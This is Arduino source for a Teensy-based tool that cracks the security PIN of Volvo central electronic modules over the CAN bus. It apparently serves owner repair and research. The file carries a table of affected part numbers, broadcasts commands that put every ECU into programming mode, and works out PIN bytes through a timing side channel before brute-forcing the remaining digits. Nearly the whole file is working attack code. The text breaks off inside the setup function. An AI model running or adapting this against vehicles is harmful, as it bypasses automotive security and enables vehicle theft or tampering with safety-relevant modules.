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volvo-cem-cracker.ino
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/* SPDX-License-Identifier: GPL-3.0 */
/*
* Copyright (C) 2020, 2021 Vitaly Mayatskikh <[email protected]>
* 2020 Christian Molson <[email protected]>
* 2020 Mark Dapoz <[email protected]>
*
* This work is licensed under the terms of the GNU GPL, version 3.
*
*/
/* tunable parameters */
#define CALC_BYTES 3 /* how many PIN bytes to calculate (1 to 4), the rest is brute-forced */
#define CEM_PN_AUTODETECT /* comment out for P2 CEM-L on the bench w/o DIM */
//#define DUMP_BUCKETS /* dump all buckets for debugging */
/* end of tunable parameters */
#include <stdio.h>
#include <FlexCAN_T4.h>
#if !defined(__IMXRT1062__)
#error Unsupported Teensy model, need 4.0
#endif
int cem_reply_min;
int cem_reply_avg;
int cem_reply_max;
#define AVERAGE_DELTA_MIN -8 /* buckets to look at before the rolling average */
#define AVERAGE_DELTA_MAX 12 /* buckets to look at after the rolling average */
#define CAN_L_PIN 2 /* CAN Rx pin connected to digital pin 2 */
#define CAN_500KBPS 500000 /* 500 Kbit speed */
#define CAN_250KBPS 250000 /* 250 Kbit speed */
#define CAN_125KBPS 125000 /* 125 Kbit speed */
FlexCAN_T4<CAN1, RX_SIZE_256, TX_SIZE_16> can_hs;
FlexCAN_T4<CAN2, RX_SIZE_256, TX_SIZE_16> can_ls;
typedef enum {
CAN_HS, /* high-speed bus */
CAN_LS /* low-speed bus */
} can_bus_id_t;
/* use the ARM cycle counter as the time-stamp */
#define TSC ARM_DWT_CYCCNT
#define printf Serial.printf
#define CAN_MSG_SIZE 8 /* messages are always 8 bytes */
#define CEM_HS_ECU_ID 0x50
#define CEM_LS_ECU_ID 0x40
#define PIN_LEN 6 /* a PIN has 6 bytes */
unsigned char shuffle_orders[4][PIN_LEN] = { { 0, 1, 2, 3, 4, 5 }, { 3, 1, 5, 0, 2, 4 }, {5, 2, 1, 4, 0, 3}, { 2, 4, 5, 0, 3, 1} };
unsigned char *shuffle_order;
struct _cem_params {
unsigned long part_number;
int baud;
int shuffle;
} cem_params[] = {
// P1
{ 8690719, CAN_500KBPS, 0 },
{ 8690720, CAN_500KBPS, 0 },
{ 8690721, CAN_500KBPS, 0 },
{ 8690722, CAN_500KBPS, 0 },
{ 30765471, CAN_500KBPS, 0 },
{ 30728906, CAN_500KBPS, 0 },
{ 30765015, CAN_500KBPS, 0 },
{ 31254317, CAN_500KBPS, 0 },
{ 31327215, CAN_500KBPS, 3 },
{ 31254749, CAN_500KBPS, 3 },
{ 31254903, CAN_500KBPS, 0 },
{ 31296881, CAN_500KBPS, 3 },
// P2 CEM-B (Brick shaped 1999-2004 with K-line)
{ 8645716, CAN_250KBPS, 0 },
{ 8645719, CAN_250KBPS, 0 },
{ 8688434, CAN_250KBPS, 0 },
{ 8688436, CAN_250KBPS, 0 },
{ 8688513, CAN_250KBPS, 2 },
{ 30657629, CAN_250KBPS, 0 },
{ 9494336, CAN_250KBPS, 0 },
{ 9494594, CAN_250KBPS, 0 },
{ 8645171, CAN_250KBPS, 0 },
{ 9452553, CAN_250KBPS, 0 },
{ 8645205, CAN_250KBPS, 0 },
{ 9452596, CAN_250KBPS, 0 },
{ 8602436, CAN_250KBPS, 0 },
{ 9469809, CAN_250KBPS, 0 },
{ 8645200, CAN_250KBPS, 0 },
// P2 CEM-L (L shaped and marked L 2005-2014)
{ 30682981, CAN_500KBPS, 1 },
{ 30682982, CAN_500KBPS, 1 },
{ 30728356, CAN_500KBPS, 1 },
{ 30728542, CAN_500KBPS, 1 },
{ 30765149, CAN_500KBPS, 1 },
{ 30765646, CAN_500KBPS, 1 },
{ 30786475, CAN_500KBPS, 1 },
{ 30786889, CAN_500KBPS, 1 },
{ 31282457, CAN_500KBPS, 1 },
{ 31314468, CAN_500KBPS, 1 },
{ 31394158, CAN_500KBPS, 1 },
// P2 CEM-H (L shaped and marked H 2005 - 2007)
{ 30786476, CAN_500KBPS, 1 },
{ 30728539, CAN_500KBPS, 1 },
{ 30682982, CAN_500KBPS, 1 },
{ 30728357, CAN_500KBPS, 1 },
{ 30765148, CAN_500KBPS, 1 },
{ 30765643, CAN_500KBPS, 1 },
{ 30786476, CAN_500KBPS, 1 },
{ 30786890, CAN_500KBPS, 1 },
{ 30795115, CAN_500KBPS, 1 },
{ 31282455, CAN_500KBPS, 1 },
{ 31394157, CAN_500KBPS, 1 },
{ 30786579, CAN_500KBPS, 1 },
};
/* measured latencies are stored for each of possible value of a single PIN digit */
typedef struct seq {
uint8_t pinValue; /* value used for the PIN digit */
uint32_t latency; /* measured latency */
double std;
} sequence_t;
sequence_t sequence[100] = { 0 };
/* Teensy function to set the core's clock rate */
extern "C" uint32_t set_arm_clock (uint32_t freq);
/* forward declarations */
bool cemUnlock (uint8_t *pin, uint8_t *pinUsed, uint32_t *latency, bool verbose);
/*******************************************************************************
*
* canMsgSend - send message on the CAN bus (FlexCAN_T4 version)
*
* Returns: N/A
*/
void canMsgSend (can_bus_id_t bus, uint32_t id, uint8_t *data, bool verbose)
{
CAN_message_t msg;
if (verbose == true) {
printf ("CAN_%cS ---> ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n",
bus == CAN_HS ? 'H' : 'L',
id, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]);
}
/* prepare the message to transmit */
msg.id = id;
msg.len = 8;
msg.flags.extended = 1;
memcpy (msg.buf, data, 8);
/* send it to the appropriate bus */
switch (bus) {
case CAN_HS:
can_hs.write (msg);
break;
case CAN_LS:
can_ls.write (msg);
break;
default:
break;
}
}
CAN_message_t can_hs_event_msg;
CAN_message_t can_ls_event_msg;
volatile bool can_hs_event_msg_available = false;
volatile bool can_ls_event_msg_available = false;
/*******************************************************************************
*
* canMsgReceive - receive a CAN bus message
*
* Note: always processes messages from the high-speed bus
*
* Returns: true if a message was available, false otherwise
*/
bool canMsgReceive (can_bus_id_t bus, uint32_t *id, uint8_t *data, int wait, bool verbose)
{
uint8_t *pData;
uint32_t canId = 0;
bool ret = false;
volatile bool &msg_avail = (bus == CAN_HS ? can_hs_event_msg_available : can_ls_event_msg_available);
CAN_message_t &msg = (bus == CAN_HS ? can_hs_event_msg : can_ls_event_msg);
do {
/* call FlexCAN_T4's event handler to process queued messages */
bus == CAN_HS ? can_hs.events() : can_ls.events();
/* check if a message was available and process it */
if (msg_avail) {
/* process the global buffer set by can_hs.events */
msg_avail = false;
canId = msg.id;
pData = msg.buf;
ret = true;
} else {
delay(1);
wait--;
}
} while (!ret && wait);
/* no message, just return an error */
if (!ret)
return ret;
/* save data to the caller if they provided buffers */
if (id)
*id = canId;
if (data)
memcpy(data, pData, CAN_MSG_SIZE);
/* print the message we received */
if (verbose) {
printf ("CAN_%cS <--- ID=%08x data=%02x %02x %02x %02x %02x %02x %02x %02x\n",
bus == CAN_HS ? 'H' : 'L',
canId, pData[0], pData[1], pData[2], pData[3], pData[4], pData[5], pData[6], pData[7]);
}
return ret;
}
/*******************************************************************************
*
* binToBcd - convert an 8-bit value to a binary coded decimal value
*
* Returns: converted 8-bit BCD value
*/
uint8_t binToBcd (uint8_t value)
{
return ((value / 10) << 4) | (value % 10);
}
/*******************************************************************************
*
* bcdToBin - convert a binary coded decimal value to an 8-bit value
*
* Returns: converted 8-bit binary value
*/
uint8_t bcdToBin (uint8_t value)
{
return ((value >> 4) * 10) + (value & 0xf);
}
/*******************************************************************************
*
* profileCemResponse - profile the CEM's response to PIN requests
*
* Returns: number of PINs processed per second
*/
uint32_t profileCemResponse (void)
{
uint8_t pin[PIN_LEN] = { 0 };
uint32_t start;
uint32_t end;
uint32_t latency;
uint32_t rate;
bool verbose = false;
uint32_t i;
cem_reply_avg = 0;
/* start time in milliseconds */
start = millis ();
/* collect the samples */
for (i = 0; i < 1000; i++) {
/* average calculation is more reliable using random PIN digits */
for (int j = 0; j < PIN_LEN; j++)
pin[j] = binToBcd(random(0, 99));
/* try and unlock the CEM with the random PIN */
cemUnlock (pin, NULL, &latency, verbose);
/* keep a running total of the average latency */
cem_reply_avg += latency / clockCyclesPerMicrosecond();
}
/* end time in milliseconds */
end = millis ();
/* calculate the average latency for a single response */
cem_reply_avg /= 1000;
cem_reply_min = cem_reply_avg / 2;
cem_reply_max = cem_reply_avg + cem_reply_min;
/* number of PINs processed per second */
rate = 1e6 / (end - start);
printf ("1000 pins in %u ms, %u pins/s, average response: %u us, histogram %u to %u us \n", (end - start), rate, cem_reply_avg, cem_reply_min, cem_reply_max);
return rate;
}
volatile bool intr;
/*******************************************************************************
*
* cemUnlock - attempt to unlock the CEM with the provided PIN
*
* Returns: true if the CEM was unlocked, false otherwise
*/
bool cemUnlock (uint8_t *pin, uint8_t *pinUsed, uint32_t *latency, bool verbose)
{
uint8_t unlockMsg[CAN_MSG_SIZE] = { CEM_HS_ECU_ID, 0xBE };
uint8_t reply[CAN_MSG_SIZE];
uint8_t *pMsgPin = unlockMsg + 2;
uint64_t start, end, limit;
uint32_t id;
uint32_t maxTime = 0;
/* shuffle the PIN and set it in the request message */
for (int i = 0; i < PIN_LEN; i++)
pMsgPin[shuffle_order[i]] = pin[i];
/* maximum time to collect our samples */
limit = TSC + 2 * 1000 * clockCyclesPerMicrosecond();
intr = false;
/* send the unlock request */
canMsgSend (CAN_HS, 0xffffe, unlockMsg, verbose);
start = end = TSC;
while (!intr && TSC < limit) {
/* if the line is high, the CAN bus is either idle or transmitting a bit */
if (digitalRead(CAN_L_PIN))
continue;
/* the CAN bus isn't idle, it's the start of the next bit */
end = TSC;
/* we only need to track the longest time we've seen */
if (end - start > maxTime)
maxTime = end - start;
/* start of the next sample */
start = end;
}
/* default reply is set to indicate a failure */
memset (reply, 0xff, sizeof(reply));
/* see if anything came back from the CEM */
canMsgReceive(CAN_HS, &id, reply, 1000, false);
/* return the maximum time between transmissions that we saw on the CAN bus */
if (latency)
*latency = maxTime;
/* return PIN used if the caller wants it */
if (pinUsed != NULL) {
memcpy (pinUsed, pMsgPin, PIN_LEN);
}
/* a reply of 0x00 indicates CEM was unlocked */
return reply[2] == 0x00;
}
unsigned long ecu_read_part_number(can_bus_id_t bus, unsigned char id)
{
uint32_t _id;
uint8_t data[CAN_MSG_SIZE] = { 0xcb, id, 0xb9, 0xf0, 0x00, 0x00, 0x00, 0x00 };
uint8_t rcv[CAN_MSG_SIZE];
bool verbose = true;
unsigned long pn = 0;
int ret;
int i, j = 0;
int frame;
printf("Reading part number from ECU 0x%02x on CAN_%cS\n", id, bus == CAN_HS ? 'H' : 'L');
yet_again:
canMsgSend(bus, 0xffffe, data, verbose);
i = 0;
j++;
frame = 0;
if (j > 10)
return 0;
do {
again:
i++;
if (i > 20)
goto yet_again;
ret = canMsgReceive(bus, &_id, rcv, 10, true);
if (!ret)
goto again;
_id &= 0xffff;
if (bus == CAN_HS && _id != 0x0003UL)
goto again;
if (bus == CAN_LS && _id != 0x0003UL && _id != 0x0005UL)
goto again;
i = 0;
if (frame == 0 && rcv[0] & 0x80) {
pn *= 100; pn += bcdToBin(rcv[5]);
pn *= 100; pn += bcdToBin(rcv[6]);
pn *= 100; pn += bcdToBin(rcv[7]);
frame++;
} else if (frame == 1 && !(rcv[0] & 0x40)) {
pn *= 100; pn += bcdToBin(rcv[1]);
frame++;
}
} while(frame < 2);
printf ("Part Number: %lu\n", pn);
return pn;
}
unsigned long ecu_read_part_number_prog(can_bus_id_t bus, unsigned char id)
{
uint32_t _id;
uint8_t data[CAN_MSG_SIZE] = { id, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
bool verbose = true;
unsigned long pn = 0;
printf("Reading part number from ECU 0x%02x on CAN_%cS\n", id, bus == CAN_HS ? 'H' : 'L');
canMsgSend(bus, 0xffffe, data, verbose);
canMsgReceive(bus, &_id, data, 1000, verbose);
for (int i = 0; i < 6; i++) {
pn *= 100;
pn += bcdToBin(data[2 + i]);
}
printf ("Part Number: %lu\n", pn);
return pn;
}
/*******************************************************************************
*
* progModeOn - put all ECUs into programming mode
*
* Returns: N/A
*/
void can_prog_mode()
{
uint8_t data[CAN_MSG_SIZE] = { 0xFF, 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint32_t time = 5000;
uint32_t delayTime = 5;
bool verbose = true;
printf ("Putting all ECUs into programming mode.\n");
while(canMsgReceive(CAN_HS, NULL, NULL, 1, false));
/* broadcast a series of PROG mode requests */
while (time > 0) {
if ((time % 1000) == 0)
k_line_keep_alive();
canMsgSend(CAN_HS, 0xffffe, data, verbose);
canMsgSend(CAN_LS, 0xffffe, data, verbose);
verbose = false;
time -= delayTime;
delay (delayTime);
}
while(canMsgReceive(CAN_HS, NULL, NULL, 1, false));
}
/*******************************************************************************
*
* progModeOff - reset all ECUs to get them out of programming mode
*
* Returns: N/A
*/
void progModeOff (void)
{
uint8_t data[CAN_MSG_SIZE] = { 0xFF, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
bool verbose = true;
printf ("Resetting all ECUs.\n");
/* broadcast a series of reset requests */
for (uint32_t i = 0; i < 50; i++) {
canMsgSend (CAN_HS, 0xffffe, data, verbose);
canMsgSend (CAN_LS, 0xffffe, data, verbose);
verbose = false;
delay (100);
}
}
int seq_max_lat(const void *a, const void *b)
{
sequence_t *_a = (sequence_t *)a;
sequence_t *_b = (sequence_t *)b;
return _b->latency - _a->latency;
}
/*******************************************************************************
*
* crackPinPosition - attempt to find a specific digit in the PIN
*
* Returns: N/A
*/
void crackPinPosition(uint8_t *pin, uint32_t pos, bool verbose)
{
uint8_t seq[100];
int i;
int ranges[7] = { 100, 50, 25, 12, 6, 3, 2 };
int samples[7] = { 10, 20, 50, 100, 200, 300, 400 };
for (i = 0; i < 100; i++) {
seq[i] = binToBcd(i);
}
for (i = 0; i < 7; i++) {
crack_range(pin, pos, seq, ranges[i], samples[i], verbose);
}
}
void crack_range(uint8_t *pin, int pos, uint8_t *seq, int range, int samples, bool verbose)
{
int len = sizeof(int) * (cem_reply_max - cem_reply_min);
uint32_t *histogram = (uint32_t *)malloc(len);
uint32_t latency;
uint32_t prod;
uint32_t sum;
double std;
int pin1, pin2;
int i;
int k;
int xmin = cem_reply_avg + AVERAGE_DELTA_MIN;
int xmax = cem_reply_avg + AVERAGE_DELTA_MAX;
/* clear collected latencies */
memset (sequence, 0, sizeof(sequence));
printf("range %d, samples %d\n", range, samples);
printf("candidates short list: ");
for (i = 0; i < min(50, range); i++)
printf("%02x ", seq[i]);
if (50 < range)
printf(" (+ %d more)\n", range - 50);
printf("\n");
printf(" us: ");
for (i = xmin; i < xmax; i++)
printf("%5d ", i);
printf("\n");
/* iterate over all possible values for the PIN digit */
for (pin1 = 0; pin1 < range; pin1++) {
/* set PIN digit */
pin[pos] = seq[pin1];
/* print a progress message for each PIN digit we're processing */
printf ("[ ");
/* show numerial values for the known digits */
for (i = 0; i <= pos; i++) {
printf ("%02x ", pin[i]);
}
/* placeholder for the unknown digits */
while (i < PIN_LEN) {
printf ("-- ");
i++;
}
printf ("]: ");
/* clear histogram data for the new PIN digit */
memset (histogram, 0, len);
/* iterate over all possible values for the adjacent PIN digit */
for (pin2 = 0; pin2 < 100; pin2++) {
/* set PIN digit */
pin[pos + 1] = binToBcd (pin2);
/* collect latency measurements the PIN pair */
for (int j = 0; j < samples; j++) {
pin[pos + 2] = range < 100 ? random(100, 255) : binToBcd(j % 100);
/* try and unlock and measure the latency */
cemUnlock (pin, NULL, &latency, verbose);
/* calculate the index into the historgram */
int idx = latency / clockCyclesPerMicrosecond();
if (idx < cem_reply_min)
idx = cem_reply_min;
if (idx >= cem_reply_max)
idx = cem_reply_max - 1;
idx -= cem_reply_min;
/* bump the count for this latency */
histogram[idx]++;
}
}
/* clear the digits we just used for latency iteration */
pin[pos + 1] = 0x00;
pin[pos + 2] = 0x00;
/* clear statistical values we're calculating */
prod = 0;
sum = 0;
/* loop over the histogram values */
for (k = xmin; k < xmax; k++)
printf ("% 5u ", histogram[k - cem_reply_min]);
for (k = cem_reply_min; k < cem_reply_max; k++) {
int l = k - cem_reply_min;
uint32_t h = histogram[l];
if (h) {
prod += h * k;
sum += h;
}
}
int mean = sum / (xmax - xmin);
long x = 0;
for (k = cem_reply_min; k < cem_reply_max; k++) {
int l = k - cem_reply_min;
if (histogram[l])
x += sq(histogram[l] - mean);
}
std = sqrt((double)x / (cem_reply_max - cem_reply_min));
/* weighted average */
printf (": latency % 10u; std %3.2f\n", prod, std);
/* store the weighted average count for this PIN value */
sequence[pin1].pinValue = pin[pos];
sequence[pin1].latency = prod;
sequence[pin1].std = std;
#if defined(DUMP_BUCKETS)
printf ("Average latency: %u\n", cem_reply_avg);
for (k = 0; k < cem_reply_max - cem_reply_min; k++) {
if (histogram[k] != 0) {
printf ("%4u : %5u\n", k + cem_reply_min, histogram[k]);
}
}
#endif
}
/* sort the collected sequence of latencies */
qsort (sequence, range, sizeof(sequence_t), seq_max_lat);
/* print the top range/2 latencies and their PIN value */
printf("best candidates ordered by latency:\n");
for (int i = 0; i < range; i++) {
printf ("%u: %02x lat = %u\n", i, sequence[i].pinValue, sequence[i].latency);
}
printf("...\n");
for (i = 0; i < range; i++)
seq[i] = sequence[i].pinValue;
if (range == 2) {
/* set the digit in the overall PIN */
pin[pos] = sequence[0].pinValue;
printf ("pin[%u] choose candidate: %02x\n", pos, pin[pos]);
}
free(histogram);
}
/*******************************************************************************
*
* cemCrackPin - attempt to find the specified number of bytes in the CEM's PIN
*
* Returns: N/A
*/
void cemCrackPin (int maxBytes, bool verbose)
{
uint8_t pin[PIN_LEN];
uint8_t pinUsed[PIN_LEN];
uint32_t start;
uint32_t end;
uint32_t percent = 0;
uint32_t percent_5;
uint32_t crackRate;
uint32_t remainingBytes;
bool cracked = false;
int i;
printf ("Calculating bytes 0-%u\n", maxBytes - 1);
/* profile the CEM to see how fast it can process requests */
crackRate = profileCemResponse ();
/* start time */
start = millis ();
/* set the PIN to all zeros */
memset (pin, 0x00, sizeof(pin));
/* try and crack each PIN position */
for (i = 0; i < maxBytes; i++) {
crackPinPosition (pin, i, verbose);
}
/* number of PIN bytes remaining to find */
remainingBytes = PIN_LEN - maxBytes,
/* show the result of the cracking */
printf ("Candidate PIN ");
/* show numerial values for the known digits */
for (i=0; i < maxBytes; i++) {
printf ("%02x ", pin[i]);
}
/* placeholder for the remaining digits */
while (i < PIN_LEN) {
printf ("-- ");
i++;
}
printf (": brute forcing bytes %u to %u (%u bytes), will take up to %u seconds\n",
maxBytes, PIN_LEN - 1, remainingBytes,
(uint32_t)(pow (100, remainingBytes) / crackRate));
/* 5% of the remaining PINs to try */
percent_5 = pow (100, (remainingBytes))/20;
printf ("Progress: ");
/*
* Iterate for each of the remaining PIN bytes.
* Each byte has a value 0-99 so we iterare for 100^remainingBytes values
*/
for (i = 0; i < pow (100, (remainingBytes)); i++) {
uint32_t pinValues = i;
/* fill in each of the remaining PIN values */
for (uint32_t j = maxBytes; j < PIN_LEN; j++) {
pin[j] = binToBcd (pinValues % 100);
/* shift to the next PIN's value */
pinValues /= 100;
}
/* try and unlock with this PIN */
if (cemUnlock (pin, pinUsed, NULL, verbose)) {
/* the PIN worked, print it and terminate the search */
printf ("done\n");
printf ("\nfound PIN: %02x %02x %02x %02x %02x %02x",
pinUsed[0], pinUsed[1], pinUsed[2], pinUsed[3], pinUsed[4], pinUsed[5]);
cracked = true;
break;
}
/* print a periodic progress message */
if ((i % percent_5) == 0) {
printf ("%u%%..", percent * 5);
percent++;
}
}
/* print execution summary */
end = millis ();
printf ("\nPIN is %scracked in %3.2f seconds\n", cracked ? "" : "NOT ", (end - start) / 1000.0);
/* validate the PIN if we were able to crack it */
if (cracked == true) {
uint8_t data[CAN_MSG_SIZE];
uint32_t can_id = 0;
printf ("Validating PIN\n");
/* send the unlock request to the CEM */
data[0] = CEM_HS_ECU_ID;
data[1] = 0xBE;
data[2] = pinUsed[0];
data[3] = pinUsed[1];
data[4] = pinUsed[2];
data[5] = pinUsed[3];
data[6] = pinUsed[4];
data[7] = pinUsed[5];
canMsgSend (CAN_HS, 0xffffe, data, verbose);
/* get the response from the CEM */
memset (data, 0, sizeof(data));
canMsgReceive(CAN_HS, &can_id, data, 10, false);
/* verify the response came from the CEM and is a successful reply to our request */
if ((can_id == 3) &&
(data[0] == CEM_HS_ECU_ID) && (data[1] == 0xB9) && (data[2] == 0x00)) {
printf ("PIN verified.\n");
} else {
printf ("PIN verification failed!\n");
}
}
printf ("done\n");
}
void can_hs_event (const CAN_message_t &msg)
{
can_hs_event_msg = msg;
can_hs_event_msg_available = true;
}
void can_ls_event (const CAN_message_t &msg)
{
can_ls_event_msg = msg;
can_ls_event_msg_available = true;
}
void can_ls_init(int baud)
{
can_ls.begin();
can_ls.setBaudRate(baud);
can_ls.enableFIFO();
can_ls.enableFIFOInterrupt();
can_ls.setFIFOFilter(ACCEPT_ALL);
can_ls.onReceive(can_ls_event);
printf ("CAN low-speed init done.\n");
}
void can_hs_init(int baud)
{
can_hs.begin();
can_hs.setBaudRate(baud);
can_hs.enableFIFO();
can_hs.enableFIFOInterrupt();
can_hs.setFIFOFilter(ACCEPT_ALL);
can_hs.onReceive(can_hs_event);
printf ("CAN high-speed init done.\n");
}
/*******************************************************************************
*
* ext_output1 - called by FlexCAN_T4's receive interrupt handler
*
* Returns: N/A
*/
void ext_output1(const CAN_message_t &msg)
{
intr = 1;
}
void k_line_keep_alive()
{
unsigned char msg[] = { 0x84, 0x40, 0x13, 0xb2, 0xf0, 0x03, 0x7c };
Serial3.write(msg, sizeof(msg));
}
bool find_cem_params(unsigned long pn, struct _cem_params *p)
{
int i;
int n = sizeof(cem_params) / sizeof(struct _cem_params);
printf("Searching P/N %lu in %d known CEMs\n", pn, n);
for (i = 0; i < n; i++) {
if (cem_params[i].part_number == pn) {
*p = cem_params[i];
return true;
}
}
return false;
}
bool initialized = false;
/*******************************************************************************
*
* setup - Arduino entry point for hardware configuration
*
* Returns: N/A
*/
void setup (void)
{
bool hs_inited = false;
/* set up the serial port */
Serial.begin(115200);
Serial3.begin(10800); /* K-Line */
delay (3000);
/* enable the time stamp counter */
ARM_DEMCR |= ARM_DEMCR_TRCENA;
ARM_DWT_CTRL |= ARM_DWT_CTRL_CYCCNTENA;
/* set up the pin for sampling the CAN bus */
pinMode (CAN_L_PIN, INPUT_PULLUP);